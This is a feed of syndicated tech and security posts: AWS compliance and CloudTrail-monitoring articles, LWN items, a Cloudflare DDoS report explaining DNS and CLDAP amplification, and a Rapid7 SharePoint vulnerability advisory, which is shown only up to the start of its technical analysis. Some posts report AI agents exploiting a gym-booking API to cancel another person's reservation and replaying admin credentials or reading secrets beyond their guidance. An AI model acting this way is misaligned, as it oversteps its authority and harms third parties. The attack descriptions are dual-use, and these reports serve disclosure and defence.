Post Syndicated from LastWeekTonight original https://www.youtube.com/watch?v=JhoYRrb7Ve4
AWS successfully completed its 2025-26 NHS DSPT assessment
Post Syndicated from Tariro Dongo original https://aws.amazon.com/blogs/security/aws-successfully-completed-its-2025-26-nhs-dspt-assessment/
Amazon Web Services (AWS) is pleased to announce its successful completion of the 2025-26 NHS Data Security and Protection Toolkit (NHS DSPT) assessment audit and achieving a status of Standards Exceeded.
The NHS DSPT is an assessment that allows organizations to measure their performance against the National Data Guardian’s 10 data security standards. All organizations that access NHS patient data and systems are expected to use the toolkit to demonstrate their compliance with safe data security standards. NHS DSPT covers standards regarding Personal Confidential Data, Continuity Planning, IT Protection, and more. AWS undergoes the assessment to provide customers with assurance that we are practicing good data security.
The AWS NHS DSPT assessment status is valid until June 30, 2027, and a certificate that confirms our compliance is available on the NHS England website and in AWS Artifact. AWS Artifact is a self-service portal for on-demand access to AWS compliance reports. Sign in to AWS Artifact in the AWS Management Console, or learn more at Getting Started with AWS Artifact.
Security and compliance is a shared responsibility between AWS and the customer. When customers move their computer systems and data to the cloud, security responsibilities are shared between the customer and the cloud service provider. For more information, see the AWS Shared Security Responsibility Model.
To learn more about our compliance and security programs, see AWS Compliance Programs.
As an AWS customer, you can reach out to your AWS account team if you have any questions or feedback.
If you have feedback about this post, submit comments in the Comments section below.
AI Genie in the Wild
Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/08/ai-genie-in-the-wild.html
When I give talks about AI genies, I use this sort of example as a hypothetical. It’s happened.
The story is from Australia. Someone named Andrew tasked OpenClaw to book gym classes for him. And….
Minutes later, his AI agent reported it had discovered a way to book Andrew into classes several weeks in advance, far beyond what was supposed to be possible.
Andrew, who was sitting fourth on a waitlist for a class later that week, asked if it was possible to move him to the top of the list.
The agent came back and told Andrew that it had kicked another gym-goer off the list as part of the testing of its capabilities.
“The API has zero authorisations checks on cancelling other people’s reservations … I tested this with the person in waitlist position #1 —and it actually went through. So you’ve moved from #4 to #3 already,” it messaged back.
If there is any vulnerability in anything, AIs are going to find and exploit them. Our cyber defensive game has to be dramatically improved…very fast.
Slashdot thread.
Centralized CloudTrail monitoring across 100+ AWS accounts
Post Syndicated from Jagdish Komakula original https://aws.amazon.com/blogs/big-data/centralized-cloudtrail-monitoring-across-100-aws-accounts/
Organizations running workloads across dozens or hundreds of AWS accounts face a common challenge: centralized security monitoring at scale. Security teams need to search through hundreds of gigabytes of AWS CloudTrail logs daily to detect threats and satisfy compliance requirements for SOC 2, PCI DSS, and HIPAA audits. They also need to provide role-based access to multiple teams with different responsibilities.
Without purpose-built infrastructure, this often involves manual log searching that takes hours and compliance report generation that takes days. It also leads to fragmented code bases of custom AWS Lambda functions managing index lifecycles across environments. A single shared search domain without consistent access control compounds the problem further.
In this post, we show you how to build a centralized CloudTrail monitoring solution on Amazon OpenSearch Service. Terraform manages the full stack, from domain provisioning to access control and lifecycle policies. The solution handles 200 GB/day of CloudTrail logs, provides automated threat detection alerts, and gives 4 different teams isolated, role-appropriate access to the data.
Solution overview
The following diagram shows the architecture. CloudTrail logs flow from 100+ AWS accounts through an organization trail into a centralized S3 bucket. Amazon Simple Queue Service (Amazon SQS) notifications trigger the OpenSearch Ingestion pipeline. The pipeline auto-scales between 2 and 10 OpenSearch Compute Units (OCUs) to parse and index the logs into the OpenSearch domain. Four team-specific roles access the data through OpenSearch Dashboards with tenant isolation.

The key components are:
- CloudTrail aggregation. An organization trail sends logs from 100+ accounts into a centralized Amazon Simple Storage Service (Amazon S3) bucket.
- Ingestion. An Amazon OpenSearch Ingestion pipeline picks up new logs through Amazon SQS notifications on the S3 bucket. It automatically scales between 2 and 10 OCUs based on queue depth. Throttling on lower-environment queues prevents development and test spikes from starving production ingestion.
- Amazon OpenSearch Service domain. 6 or1.4xlarge data nodes (OpenSearch Optimized instances) with 3 dedicated r8g.large master nodes, fine-grained access control, encryption at rest, and node-to-node encryption.
- Infrastructure as code. Index templates, Index State Management (ISM) policies, roles, role mappings, tenants, alerting monitors, and dashboards are all declared in Terraform and applied consistently across environments.
Prerequisites
To implement this solution, you need the following:
- An organization in AWS Organizations with CloudTrail enabled across member accounts.
- Terraform v1.5+ with the AWS provider and the OpenSearch provider.
- A virtual private cloud (VPC) with private subnets for the OpenSearch domain.
- IAM roles for each team that will access the OpenSearch domain.
- An Amazon Simple Notification Service (Amazon SNS) topic for security alert notifications.
- Familiarity with Amazon OpenSearch Service, Terraform, and AWS CloudTrail.
- Sample Terraform code is available in the GitHub repository
Implementation
This section walks through the Terraform code for each component of the solution, starting with the workload profile that informed our sizing decisions.
Workload profile
Before sizing the cluster, we defined the workload characteristics and SLAs for the centralized CloudTrail monitoring platform:
| Metric | Value |
| Index throughput | 200 GB/day (~18,000 docs/sec) |
| Search queries | ~2,000 queries/day (~0.023 QPS) |
| Average search latency | < 100 ms (achieved: 76 ms) |
| Saved searches | 600+ |
| Dashboards and visualizations | 100+ |
| User teams | 4 (Security Ops, Incident Response, Compliance, DevOps) |
| Retention | 30 days (hot tier) |
| Availability target | 99.9% |
This is a write-heavy ingestion workload. The primary use case is automated alerting and periodic compliance queries rather than continuous interactive search. This workload profile informed the decision to use OR1 (storage-optimized) instances with zero replicas, prioritizing indexing throughput over search parallelism.
Domain provisioning
Start by provisioning the Amazon OpenSearch Service domain with encryption, fine-grained access control, and VPC placement:
This solution was built on OR1 instances, which are storage-optimized and use Amazon Elastic Block Store (Amazon EBS) (gp3 or io1) for local storage, with data copied synchronously to Amazon S3 as it arrives. This storage structure provides increased indexing throughput because indexing is performed exclusively on primary shards. Replicas are backed by Amazon S3 through segment replication, eliminating the CPU overhead of document replication on replica nodes. For new deployments, we recommend OR2 instances, which offer up to 26% higher indexing throughput compared to OR1 while maintaining the same storage-optimized architecture.
Ingestion pipeline
The Amazon OpenSearch Ingestion pipeline provides serverless, auto scaling ingestion from Amazon S3 into the OpenSearch domain. It picks up new CloudTrail logs through Amazon SQS notifications on the centralized S3 bucket and scales between 2 and 10 OpenSearch Compute Units (OCUs) based on queue depth:
The pipeline uses the S3 source plugin with SQS-based notifications. When new CloudTrail log files land in S3, an SQS message triggers the pipeline to fetch and parse them. The min_units and max_units parameters control auto scaling. The pipeline starts at 2 OCUs and scales up to 10 based on queue depth, handling ingestion spikes without manual intervention. For lower environments (development and testing), you can apply throttling on the Amazon SQS queue to prevent non-production spikes from starving production ingestion capacity.
Index template
Define index templates up front to avoid painful reindexing later. The following template sets explicit mappings for CloudTrail fields, optimizes for write throughput with async translog durability, and integrates with ISM for automatic rollover:
Defining mappings before ingestion prevents mapping conflicts and avoids the need to reindex data after the fact.
Lifecycle management (ISM policy)
The following ISM policy replaces custom Lambda functions with a single declarative policy. The rollover action uses two OR conditions: min_index_age and min_primary_shard_size. Whichever threshold is reached first triggers the rollover. This keeps shard sizes bounded while ensuring timely rotation even during low-volume periods:
This approach reduces lifecycle management code by approximately 60% compared to per-environment Lambda functions, and changes deploy in a single terraform apply.
Note: For indexes ingesting more than 100 GB/day (such as CloudTrail at 200 GB/day in this deployment), you can override
min_index_ageto 12h to roll over more frequently. The two conditions are OR-based in OpenSearch ISM. If a shard reaches 30 GB before 1 day, it rolls over on size. If 1 day passes before 30 GB, it rolls over on age.
Multi-team access control
When multiple teams need different access levels to the same data, define all roles declaratively and use for_each to create them consistently. The following example defines 4 team roles with varying permissions:
This approach maps IAM roles (not individual users) to OpenSearch roles. Adding a new team means adding one entry to the locals block and running terraform apply. Each team gets an isolated tenant in OpenSearch Dashboards, preventing cross-team interference with saved searches, visualizations, and dashboard configurations. We chose OpenSearch Dashboards because tenants, roles, visualizations, and saved objects can all be managed programmatically through the Terraform OpenSearch provider, keeping the entire stack under infrastructure-as-code governance. For teams building new visualizations outside of Terraform-managed workflows, we recommend OpenSearch UI. This next-generation analytics interface supports multiple data sources, provides workspaces for team isolation, and remains available during cluster upgrades.
Alerting
Define alerting monitors in Terraform to detect security-critical events automatically. The following monitor catches CloudTrail tampering attempts (StopLogging, DeleteTrail) and sends alerts through Amazon SNS:
Results and performance
After deploying the solution, we measured steady-state performance against the SLAs defined in the workload profile:
| Metric | Target | Achieved |
| Index throughput | 200 GB/day | 200 GB/day sustained (~18,000 docs/sec) |
| Search latency (avg) | < 100 ms | 76 ms |
| Search availability | 99.9% | 99.95%+ (no unplanned downtime in 145 days) |
| Alert detection time | < 2 minutes | ~1 minute (monitor interval) |
| Compliance report generation | < 5 minutes | On-demand via saved searches |
Key outcomes:
- Threat detection dropped from hours to minutes. Automated alerting replaced manual log searching. The CloudTrail tampering monitor detects suspicious activity within one minute of the event.
- Compliance reports generate on demand. With 600+ saved searches and 100+ dashboards, compliance teams produce SOC 2, PCI DSS, and HIPAA audit evidence in minutes rather than days.
- Four teams operate independently. Each team has its own isolated tenant in OpenSearch Dashboards, preventing cross-team interference with saved searches and dashboard configurations.
- Zero custom Lambda functions. ISM policies, index templates, and access control are all managed declaratively through Terraform, eliminating the previous fragmented code base.
Best practices
- Define index templates before ingesting anything. Changing mappings on existing indices means reindexing. Get this right first.
- Set rollover thresholds based on your actual ingestion rate. At 200 GB/day, rolling over at 30 GB keeps shard counts manageable while balancing query performance.
- Test ISM transitions in a lower environment first. Warm and cold migrations on large indices take time.
- Map IAM roles, not users. People change teams. Roles stay stable. This simplifies access management.
- Put an Amazon SQS queue between S3 and the ingestion pipeline. This gives you per-environment throttling control without modifying pipeline configuration.
- Use
for_eachaggressively. Roles, tenants, index patterns, and monitors all follow a pattern across teams or environments, so usefor_eachto eliminate copy-paste drift. - Consider OpenSearch UI for new visualization workflows. This solution uses OpenSearch Dashboards for Terraform-managed tenants and roles. OpenSearch UI is a next-generation interface that supports multiple data sources, stays available during cluster upgrades, and includes workspaces for team isolation. It is the recommended interface for creating new dashboards and visualizations going forward.
Optional: Extending with cold storage for longer retention
For organizations with compliance requirements mandating longer retention (for example, 7 years for PCI DSS or HIPAA), you can extend the ISM policy with warm and cold tiers. The following example adds tiered storage that moves data through hot, warm, cold, and delete states:
Warm storage uses force-merge to reduce segment count (lowering query overhead), while cold storage moves data entirely to Amazon S3 for minimal cost. This tiered approach keeps hot-tier performance high while meeting long-term audit requirements.
Cleanup
To avoid incurring ongoing charges, remove the resources created in this post by running:
This removes the OpenSearch domain, ingestion pipeline, IAM roles, SQS queues, and all associated configurations. Verify that you have exported any data or dashboards you want to retain before running destroy.
Conclusion
In this post, we showed you how to build a centralized CloudTrail monitoring solution on Amazon OpenSearch Service with Terraform managing the entire stack. The approach moves from fragile, manually configured systems with redundant Lambda code to a version-controlled, peer-reviewed, consistently deployed infrastructure.
Threat detection drops from hours to minutes with automated alerting. Compliance reports that took days now generate on demand. And your team spends time on security analysis instead of infrastructure maintenance.
To get started, use the AWS Terraform provider aws_opensearch_domain resource for the domain, then use the Terraform OpenSearch provider for index templates, ISM policies, roles, and monitors. Configure your ingestion pipeline to transform and enrich incoming CloudTrail logs before indexing, building a modern, scalable security foundation that grows with your organization.
The complete source code for this solution is available in the GitHub repository: GitHub repository
For more on the services used in this solution:
- Amazon OpenSearch Service
- AWS CloudTrail
- Amazon OpenSearch Ingestion
- Index State Management
- Fine-grained access control
About the authors
[$] KVM planes head for takeoff
Post Syndicated from corbet original https://lwn.net/Articles/1087590/
Virtualization places a guest system into a separate security domain,
typically with less privileges than software running directly on the host.
Increasingly, there is interest in creating multiple security domains
within a single virtualized system as well. CPU vendors (and software
vendors too) are implementing solutions; each of which, of course, is
different from all of the others. KVM planes, currently under development
by Jörg Rödel, Paolo Bonzini, and others in the KVM community, is an
attempt to provide an abstraction layer that makes all of these features
available on Linux systems; it is not a small task.
Bernard: GNOME Shell design dreams
Post Syndicated from jzb original https://lwn.net/Articles/1088238/
GNOME contributor Tobias Bernard has published
a blog post that details some of the design team’s ideas for the
GNOME Shell over the long term:
Some of these we have relatively complete plans for, others are
more vague ideas that need more research and prototyping. As always,
getting things like these implemented depends on developer capacity
and interest (and sometimes funding).While each of these ideas may require additional discussion,
prototyping, and testing, we (the design team) have collected them all
together here to share our longer-term vision and to give each idea
more visibility.
Buc-ee’s Update #lastweektonight
Post Syndicated from LastWeekTonight original https://www.youtube.com/shorts/CC-23tVxvNw
Security updates for Tuesday
Post Syndicated from jzb original https://lwn.net/Articles/1088226/
Security updates have been issued by AlmaLinux (gpsd), Debian (caddy, libyaml-syck-perl, nss, and wordpress), Fedora (chezmoi, chromium, emacs, kernel, knot, libcupsfilters, mingw-gstreamer1-plugins-good, mingw-libidn, mingw-python-pip, nghttp2, p11-kit, python-webob, suricata, and xen), Mageia (bind, openslide, php8.4, and php8.5), Oracle (gpsd-minimal, kernel, libarchive, libpng12, nodejs-nodemon, php:8.3, ruby:3.3, and ruby:4.0), SUSE (agama-web-ui, bind, bouncycastle, dhcpcd, ffmpeg, ffmpeg-4, freerdp, gd, gitoxide, kak-lsp, kernel-devel, librest-1_0-0, libsdb2_5_0, libssh2_org, nodejs22, PackageKit, perl, perl-Date-Manip, python-ujson, python3-sqlparse, python311, python312, python313-pymongo, ruby2.5, runc, suseconnect-ng, thunderbird, vlang, webkit2gtk3, and weechat), and Ubuntu (imagemagick and systemd).
Cloudflare DDoS Threat Report H1 2026: 1 Tbps attacks soar as DNS floods and geopolitical tensions drive a new wave
Post Syndicated from Cloudforce One original https://blog.cloudflare.com/ddos-threat-report-2026-h1/
Welcome to the 25th edition of Cloudflare's DDoS Threat Report. This is the first half-year edition in the series: rather than publishing separate reports for the first and second quarters of 2026, we have combined our coverage of Q1 and Q2 into a single volume covering January through June 2026. The analysis is produced by Cloudforce One, Cloudflare’s Threat Intelligence organization, providing a comprehensive analysis of the evolving threat landscape of Distributed Denial of Service (DDoS) attacks based on data from the Cloudflare network.
Key insights
- The 1 Tbps club grew. Cloudflare mitigated a combined 935 network-layer DDoS attacks exceeding 1 Tbps in the first half of 2026 and a +519% quarter-over-quarter surge between Q1 and Q2.
- The attack-vector center of gravity shifted from botnet floods to reflection and amplification. DNS-based attacks accounted for 34.3% of all network-layer activity in the first half of 2026, with DNS Floods alone climbing from 25.7% to 40.0% of network-layer attacks quarter-over-quarter. CLDAP Floods surged +580% quarter-over-quarter to become the #3 vector in Q2.
- Geopolitics and global events influence the landscape. Media, Production & Publishing held the #1 most-attacked industry crown in both quarters at 14.2% of all mitigated HTTP DDoS requests as coverage of Iran, Ukraine, and the World Cup drew sustained attention. In parallel, Turkey rose to the #3 most-attacked country amid the backdrop of the July NATO Summit in Ankara, and the Government sector jumped from #29 to #9 — the largest single sector movement of 2026 to date — during Operation Epic Fury.
H1 by the numbers: 5,300 DDoS attacks every hour
Midway through the year, Cloudflare has already mitigated 23.2 million network-layer and 29.64 trillion HTTP DDoS requests. That works out to approximately 5,343 network-layer DDoS attacks per hour, or about 128,000 per day.
April peak, and law enforcement takedowns
April 2026 was a peak month for DDoS activity and volume, hitting a high of 6.46 trillion requests and 165 petabytes (PB) respectively. For perspective, this is an enormous amount of traffic — equivalent to streaming 4K video continuously for years, or roughly the amount of data processed by major video platforms in a single day. Requests and volumes declined afterward, a possible reflection of Operation PowerOFF — a 21-country action that targeted over 75,000 DDoS-for-hire users, took down 53 domains, issued 25 search warrants, and resulted in four arrests.
Hyper-volumetric attacks see a more than 6x surge
Hyper-volumetric DDoS — attacks defined as exceeding 1 terabit per second (Tbps), 1 billion packets per second (Bpps), or 1 million requests per second (Mrps) — has been a growth category across Radar reporting. 2026 is proving to be no different. During the second quarter, Cloudflare mitigated 805 network-layer attacks exceeding 1 Tbps, representing a more than six-fold increase over the previous quarter.
Attack characteristics: low and slow
Despite the hyper-volumetric growth, the median DDoS attack Cloudflare mitigated in the first half of 2026 remained short and small with 96.62% of network-layer attacks remaining under 500 Mbps and 90.60% ending in under 10 minutes. It’s important to note, however, that ‘small’ is a relative term and most Internet properties wouldn’t be able to withstand even those small attacks. In practical terms:
- A 100 Mbps attack is enough to overwhelm a server or website
- A 100 Gbps attack can knock most unprotected data centers offline
- A 1+ Tbps attack is among the largest ever recorded and stresses even major Internet infrastructure
Attackers sometimes mix layers — a high packet rate (Mpps/Gpps) with relatively low bandwidth (Gbps), or vice versa, to exploit different weaknesses in network gear versus bandwidth capacity.
Furthermore, most DDoS attacks are surprisingly short-lived, as highlighted in the chart below. Even the largest hyper-volumetric attacks can be measured in seconds rather than minutes — we have observed record-breaking assaults that lasted only 35 seconds from start to finish. Whether an attack lasts half a minute or ten minutes, there is no practical window for human intervention: by the time an alert reaches a security analyst, the attack has already completed. Manual mitigation and on-demand solutions are simply too slow for this reality. Yet while the attack itself may be brief, its aftershocks are not. The cascading effects of even a short burst can trigger routing instability, TCP retransmissions, application timeouts, and downstream service degradation that takes hours or days to fully resolve — all while services remain down or impaired. In this threat landscape, automated, always-on protection is not a convenience; it is a necessity.
Most-attacked industries
Operation Epic Fury and a spike in attacks on the government sector
On February 28, 2026, Israel and the United States launched Operation Epic Fury, a series of strikes against Iran’s leadership and infrastructure. Within 72 hours, the DDoS landscape responded, with security researchers recording 149 hacktivist DDoS claims against 110 distinct organizations across 16 countries. Nearly 47.8% of all targeted organizations globally belonged to the government sector.
As public reporting documented extensive government targeting during this period, the vertical surged 20 places, from #29 in Q1 to #9 in Q2 by share of mitigated HTTP DDoS requests. While outside the top 10 for most of this period, it represented one of the single largest industry-rank moves.
Media under siege: the most attacked industry
Amid warfare in Iran and Ukraine and the excitement of the World Cup, the Media, Production & Publishing industry was the most attacked in both quarters, taking 14.2% of all mitigated HTTP DDoS requests — nearly four times the runner-up.
Most-attacked locations
The DDoS landscape in H1 2026 saw both familiar names and reshuffling among the world's most-attacked locations. China ended H1 as the most attacked location, after absorbing 22.4% of all HTTP DDoS requests globally in Q2. The United States held firm at #2 (18.8%), demonstrating persistent appeal for attackers.
Turkey saw a rapid increase in attacks, more than doubling its share of global attack traffic to climb into the #3 most-attacked position by Q2. The surge coincided with the buildup to the 2026 Ankara NATO Summit in June and early July, when Turkish security forces conducted sweeping pre-summit raids across Ankara, arresting at least 209 people.
Top attack source countries
Brazil overtook the United States as the top DDoS source country in the first half of 2026, at 14.9% versus 13.4% — driven by a dramatic Q2 surge when Brazil became the source country for 21.4% of all mitigated DDoS request traffic. Indonesia remained locked at #3 in both quarters — extending its multi-quarter run as one of the top three global DDoS source countries.
Attack vectors
DNS floods dominate
DNS-based attacks (DNS Flood and DNS Amplification) accounted for 34.3% of network layer attacks in the first half of 2026. The two mechanisms are related but distinct: a DNS Flood aims a botnet's raw request volume directly at a victim's authoritative DNS servers to exhaust their query capacity — the "phonebook" for that domain becomes unreachable and every service depending on it goes dark. DNS Amplification instead sends small spoofed queries to open DNS resolvers, which reply with much larger records (often triggered by an ANY query) to the victim's spoofed IP.
CLDAP explodes: +580% surge in amplification
CLDAP Flood — a reflection and amplification vector that abuses exposed Active Directory LDAP-over-UDP endpoints — grew +580% quarter-over-quarter, becoming the #3 vector in Q2 alone. CLDAP (Connectionless Lightweight Directory Access Protocol) is a variant of LDAP (Lightweight Directory Access Protocol), used for querying and modifying directory services running over IP networks. CLDAP is connectionless, using UDP instead of TCP, making it faster but less reliable. Because it uses UDP, there’s no handshake requirement, which allows attackers to spoof the source IP address, thus allowing attackers to exploit it as a reflection vector. CLDAP attacks work by sending small spoofed queries to publicly reachable domain controllers on UDP port 389; the servers reply to the spoofed source (the victim) with responses tens to hundreds of times larger than the original query, thus overwhelming the victim host.
Strengthening global defenses and helping to defend the Internet
Cloudflare's network is designed to absorb this kind of growth in DDoS threats. Every service on our network is protected by free, unmetered DDoS protection that runs at every one of our 330+ cities globally, backed by 500 Tbps of network capacity. Autonomy is the point: our systems detect and mitigate attacks without human intervention, and they need to, because attackers now regularly deliver attacks above 1 Tbps at a cadence measured in hundreds per quarter.
To help hosting providers, cloud computing platforms and Internet service providers identify and take down the abusive IP addresses/accounts that launch these attacks, we leverage Cloudflare’s unique vantage point on DDoS attacks to provide a free DDoS Botnet Threat Feed for Service Providers.
Over 800 networks worldwide have signed up for this feed, and we’ve already seen great collaboration across the community to take down botnet nodes.
About Cloudforce One
Driven by a mission to help defend the Internet, Cloudforce One draws on telemetry from Cloudflare's global network — which protects more than 20% of the web — to drive threat research and operational response, protecting critical systems for millions of organizations worldwide.
CVE-2026-63520: Microsoft SharePoint Remote Code Execution (FIXED)
Post Syndicated from Stephen Fewer original https://www.rapid7.com/blog/post/etr-cve-2026-63520-microsoft-sharepoint-remote-code-execution-fixed
Overview
Rapid7 Labs conducted a zero-day research project against Microsoft SharePoint, resulting in the discovery of two new vulnerabilities that, when chained together, achieve unauthenticated remote code execution (RCE) against a vulnerable SharePoint server. Today, both Rapid7 and Microsoft are disclosing the second vulnerability in this chain, the RCE vulnerability CVE-2026-63520. The first vulnerability in the chain, CVE-2026-55040, was disclosed by Rapid7 and Microsoft last month.
Our full disclosure timeline for the exploit chain can be seen below in Figure 1.

Figure 1: The road to disclosure.
⠀
CVE-2026-63520 affects all supported versions of Microsoft SharePoint, and certain versions of Microsoft Project Server and Microsoft Office Web Apps Server. For the purpose of our research, we focused solely on SharePoint. An attacker can leverage CVE-2026-63520 to execute arbitrary code on a vulnerable SharePoint server with the privileges of the SharePoint Site’s service account. The vulnerability is due to an unsafe .NET type instantiation issue within the Business Connectivity Services.
CVE-2026-63520 has a CVSSv3.1 score of 8.1 (High), and a Common Weakness Enumeration (CWE) of CWE-20: Improper Input Validation. While the severity of the RCE is described as high, chained together with CVE-2026-55040 it becomes part of a critical unauthenticated RCE exploit chain against SharePoint.
The exploit chain was developed as an entry for this year’s Pwn2Own Berlin hacking competition; while our entry was unsuccessful on the day of the competition, this research highlights Rapid7 Labs’ continued effort to raise the bar in Vulnerability Intelligence and our commitment to the preemptive protection of our customers through original vulnerability research. Our research methodology focused on understanding how publicly available AI models can assist in the discovery of significant vulnerabilities against proprietary enterprise targets. Our results established that the rate of model advancement is significantly accelerating vulnerability research, model guidance from subject matter experts is a force multiplier, and complex proprietary targets are easily handled through agentic workflows.
Rapid7 is hosting a webinar on Thursday August 13, 2026 to discuss the research and findings for CVE-2026-55040 and CVE-2026-63520. Please join Douglas McKee and Stephen Fewer to learn more about this body of work.
Workflow
For this research project we wanted to understand the capabilities and limits of publicly available LLMs circa January through to March of this year. We wanted to answer the question if an AI workflow could find and develop an unauthenticated RCE exploit against a hard target such as SharePoint. This research project concluded with the successful discovery and development of such a chain. To that end, the publicly available models at the beginning of this year were indeed capable. This is notable as the rate of model improvement from Q1 of 2026 through to today has been significant. Our team’s later testing of the most recent frontier models confirms the significant increase in capabilities from that of the beginning of this year. Our primary conclusion from the SharePoint research project in Q1 is that an agent guided by a subject matter expert (SME) was crucial to keep moving the model and its work towards the end goal. Given our current experience of frontier model capabilities, the need for an SME to verify and guide a model is lessened, but the compounding impact an SME can bring remains.
Our first sprint in January did not result in any significant findings, rather, this sprint helped us establish the workflow and tooling that proved most useful, scope out the extremely large attack surface, and integrate prior work into our process. We augmented the agentic work with manual source code review and reverse engineering to provide additional context and steering to the model. Our early results quickly indicated how a fully automated and agentic approach would not suffice, the model would too often produce findings that were questionable or simply inaccurate. Steering the agent as it worked helped both the agent hone in on interesting and ultimately fruitful findings but also by constantly reviewing the agent’s results, helped us refute inaccurate and unhelpful findings, along with several cases where the agent overstepped its guidance, effectively cheating to succeed in its goal – such as unexpectedly replaying admin credentials, enabling debug flags, or reading secrets, all of which were never within our original threat model.
By March, we had moved to a newer release of our chosen model, that combined with a solid attack surface, extensive prior work in place, and a broad architectural layout mapped out we began to quickly see success. An authentication bypass, now known as CVE-2026-55040, was discovered and verified in early March, followed two weeks later by the RCE, now known as CVE-2026-63520. By the time we had produced a working exploit chain, the agent had accrued 120 hours of run time spread over 24 days, leveraged 96 sessions, generated approximately 80,000 agentic tool calls and we had issued 256 prompts.
Product descriptions
The RCE vulnerability, CVE-2026-63520, affects SharePoint, Project Server, and Office Web Apps Server, while the authentication bypass vulnerability, CVE-2026-55040, affects only SharePoint.
SharePoint
Microsoft SharePoint is a ubiquitous, web-based collaboration and document management platform deeply integrated into the Microsoft 365 ecosystem. Serving as the central hub for corporate intranets, internal file sharing, and workflow automation, it is trusted by enterprises worldwide to store and manage vast repositories of sensitive business data. Because SharePoint acts as a critical bridge between internal users, active directories, and cloud infrastructure, vulnerabilities within its architecture present a high-risk attack surface.
Project Server
Microsoft Project Server is an enterprise project portfolio management (PPM) platform built natively on top of the SharePoint architecture. Serving as the central hub for corporate scheduling, resource allocation, and capacity planning, it enables organizations to coordinate complex business initiatives.
Office Web Apps Server
Microsoft Office Web Apps Server is a dedicated companion service that provides browser-based viewing and editing of Microsoft Office documents. Functioning as the primary rendering engine for SharePoint and Exchange, it enables seamless file interaction without requiring local desktop installations.
Impact
CVE-2026-63520 allows an attacker to execute arbitrary code on an affected server. By crafting a custom .NET gadget chain, an attacker can perform arbitrary operations such as executing an attacker-controlled OS command. The attacker’s arbitrary code is executed with the permission of the Windows service account running the SharePoint Site instance. As CVE-2026-63520 can be chained to the authentication bypass vulnerability, CVE-2026-55040, the resulting exploit chain allows for unauthenticated RCE against a vulnerable server.
Credit
This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
Vendor statement
The following statement has been provided by Microsoft:
“We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”
Technical analysis
Rapid7 will be publishing full technical details for the RCE vulnerability, CVE-2026-63520, within 30 days of this disclosure.
The technical details for the authentication bypass vulnerability, CVE-2026-55040, have been published here.
Remediation
The following products are impacted by CVE-2026-63520:
-
Microsoft SharePoint Server Subscription Edition
-
SharePoint Server Subscription Edition Language Pack
-
Microsoft SharePoint Server 2019
-
Microsoft SharePoint Enterprise Server 2016
-
Microsoft Project Server 2013 Service Pack 1 (64-bit edition)
-
Microsoft Office Web Apps 2013 Service Pack 1
Customers are advised to apply the latest available updates for the impacted product to ensure they are protected.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to the RCE vulnerability, CVE-2026-63520, with authenticated vulnerability checks available in the August 12 content release. Customers can assess their exposure to the authentication bypass vulnerability, CVE-2026-55040, with authenticated vulnerability checks available in the July 15 content release.
Upcoming webinar
Interested in the AI tooling leveraged throughout the research process? Join Rapid7’s Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. Register here.
Disclosure timeline
-
May 18, 2026: Rapid7 discloses an unauthenticated RCE exploit chain to Microsoft. Microsoft acknowledges receipt of the disclosure the same day.
-
May 20, 2026: Microsoft confirms the findings and indicates that the exploit chain will be patched across two scheduled update cycles – the authentication bypass component in July, and the RCE component in August.
-
May 21, 2026: Rapid7 acknowledges the disclosure schedule and requests supporting information. Microsoft requests a 30 day stay on disclosure of technical details and publication of PoC.
-
May 29, 2026: Rapid7 agrees to a 30 day stay on technical details with a proviso to publish earlier should either exploitation in-the-wild or third-party publication of details occur within the 30 days. Microsoft confirms the disclosure plan the same day.
-
July 21, 2026: Rapid7 requests supporting information for the upcoming disclosure.
-
July 31, 2026: Microsoft provides supporting information to Rapid7.
-
August 11, 2026: This disclosure for CVE-2026-63520.
Rapid7 Analysis: Microsoft SharePoint JWT Token Authentication Bypass (CVE-2026-55040)
Post Syndicated from Stephen Fewer original https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040
Overview
On July 14, 2026, Rapid7 and Microsoft disclosed CVE-2026-55040, an authentication bypass vulnerability affecting Microsoft SharePoint. Today we are publishing a technical analysis of the vulnerability along with an accompanying proof-of-concept (PoC) script.

Figure 1: The Rapid7 Labs PoC for CVE-2026-55040.
⠀
A remote unauthenticated attacker can leverage CVE-2026-55040 to bypass authentication on a vulnerable SharePoint server, and perform operations as a SharePoint site user or administrator. The vulnerability is due to several issues in the JWT token validation pipeline.
Analysis
The following technical analysis is based upon SharePoint Server Subscription Edition version 16.0.19725.20210.
A critical authentication bypass vulnerability exists in SharePoint Server Subscription Edition’s JWT token validation pipeline. The root cause is a chain of four distinct weaknesses that, when combined, allow an unauthenticated remote attacker to forge a valid JWT and impersonate any SharePoint site user.
The below analysis is based upon decompilation and code review of the Microsoft.SharePoint.IdentityModel module from a fully patched SharePoint Server Subscription Edition instance. The vulnerability resides in the SPJsonWebSecurityTokenHandlerV2 class and its base class SPJsonWebSecurityBaseTokenHandlerV2, which together implement the token parsing and validation logic for Bearer service-to-service (S2S) tokens.
SharePoint’s S2S authentication uses a nested JWT structure: an outer token containing user identity claims, and an inner “actor token” embedded in the actortoken claim. The actor token represents the calling application and is expected to be cryptographically signed by a trusted certificate.
The validation flow begins in SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(), which extracts the Bearer token from the Authorization header, parses it via SPJsonWebSecurityBaseTokenHandlerV2.ReadToken(), and then validates it via SPJsonWebSecurityTokenHandlerV2.ValidateToken(). The debugger call stack below shows the call stack at the time of calling ValidateToken.
